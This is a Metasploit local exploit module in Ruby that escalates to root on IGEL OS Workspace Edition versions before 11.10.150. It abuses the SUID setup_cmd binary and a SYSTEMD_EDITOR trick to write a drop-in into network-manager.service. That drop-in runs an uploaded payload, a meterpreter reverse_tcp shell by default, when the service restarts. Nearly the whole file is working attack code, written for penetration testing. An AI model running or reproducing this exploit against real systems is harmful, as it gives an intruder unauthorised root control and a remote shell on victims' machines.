## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux include Msf::Post::Linux::System include Msf::Post::Unix include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'IGEL OS Privilege Escalation (via systemd service)', 'Description' => %q{ Escalate privileges for IGEL OS Workspace Edition sessions, by modifying network-manager.service using setup_cmd (SUID) and network, then restarting the service. }, 'Author' => 'Zack Didcott', 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => [ARCH_X64], 'Targets' => [ [ 'Linux x86_64', { 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2024-07-10', # Patch release date 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS] } ) ) register_advanced_options([ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end def check version = Rex::Version.new( read_file('/etc/system-release').delete_prefix('IGEL OS').strip ) unless version < Rex::Version.new('11.10.150') return CheckCode::Safe("IGEL OS #{version} is not vulnerable") end CheckCode::Appears("IGEL OS #{version} should be vulnerable") end def exploit print_status('Uploading payload to target') payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700) print_status('Writing config to target') config = build_config(payload_file) config_file = write_payload(config, datastore['WritableDir'], 0o600) print_status('Applying service config') vprint_status(modify_service(config_file)) print_status('Restarting service') vprint_status(restart_service) end def write_payload(contents, dir, perm) fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir) fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir) filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" write_file(filepath, contents) chmod(filepath, perm) unless file?(filepath) fail_with(Failure::Unknown, "Failed to write to '#{filepath}'") end register_files_for_cleanup(filepath) return filepath end def build_config(payload_file) config = <<~CONFIG.strip [Service] TimeoutStartSec=infinity ExecStartPost=#{payload_file} CONFIG return config end def modify_service(config_file) command = <<~COMMAND.strip /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit EOF COMMAND script_file = write_payload(command, datastore['WritableDir'], 0o700) cmd_exec(script_file) end def restart_service create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120) end end